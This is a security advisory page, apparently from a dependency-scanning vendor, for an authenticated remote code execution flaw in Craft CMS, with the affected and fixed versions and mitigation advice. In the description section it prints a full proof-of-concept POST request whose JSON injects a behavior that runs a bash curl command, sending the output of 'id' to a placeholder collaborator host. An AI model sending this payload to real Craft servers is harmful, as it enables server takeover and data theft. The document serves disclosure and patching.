GHSA-qrgm-p9w5-rrfw — craftcms/cms
Fix: craftcms/cms@ab85ca7GHSA-qrgm-p9w5-rrfw is a CWE-479 vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qrgm-p9w5-rrfw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}
Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 4.0.0&&< 4.17.12 | 4.17.12composer require craftcms/cms:^4.17.12 |
| 🐘Packagist | craftcms/cms | ≥ 5.0.0&&< 5.9.18 | 5.9.18composer require craftcms/cms:^5.9.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 4.17.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qrgm-p9w5-rrfw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qrgm-p9w5-rrfw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qrgm-p9w5-rrfw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qrgm-p9w5-rrfw in your dependencies?
O3 Security finds GHSA-qrgm-p9w5-rrfw across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.